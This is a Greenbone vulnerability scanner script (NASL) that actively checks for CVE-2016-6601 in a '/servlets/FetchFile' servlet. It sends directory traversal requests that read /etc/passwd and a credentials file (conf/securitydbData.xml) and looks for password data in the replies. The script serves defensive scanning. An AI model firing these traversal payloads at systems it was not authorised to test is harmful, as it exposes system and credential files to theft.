Multiple Vendors '/servlets/FetchFile' Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105858");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-10-09 20:00:00 +0000 (Tue, 09 Oct 2018)");
  script_tag(name:"creation_date", value:"2016-08-09 10:38:38 +0200 (Tue, 09 Aug 2016)");

  script_cve_id("CVE-2016-6601");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Multiple Vendors '/servlets/FetchFile' Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 9090);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Multiple vulnerabilities affecting the remote device have been
  found, these vulnerabilities allows uploading of arbitrary files and their execution, arbitrary
  file download (with directory traversal), use of a weak algorithm for storing passwords and
  session hijacking.");

  script_tag(name:"vuldetect", value:"Try to read files like /etc/passwd or conf/securitydbData.xml.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/2712");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/40229/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:9090 );

files = traversal_files();

res = http_get_cache( port:port, item:"/servlets/FetchFile" );
if( ! res || res =~ "^HTTP/1\.[01] [34][0-9]{2}" )
  exit(0);

foreach file ( keys( files ) ) {
  url = "/servlets/FetchFile?fileName=../../../../../../../" + files[file];
  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

# Similar to 2016/gb_securitydbData_xml_disclosure.nasl but
# with an indirect access via the servlet
url = "/servlets/FetchFile?fileName=conf/securitydbData.xml";

if( http_vuln_check( port:port, url:url, pattern:'<AUTHORIZATION-DATA>',
                     extra_check:make_list( "<DATA ownername=", "password=" ) ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );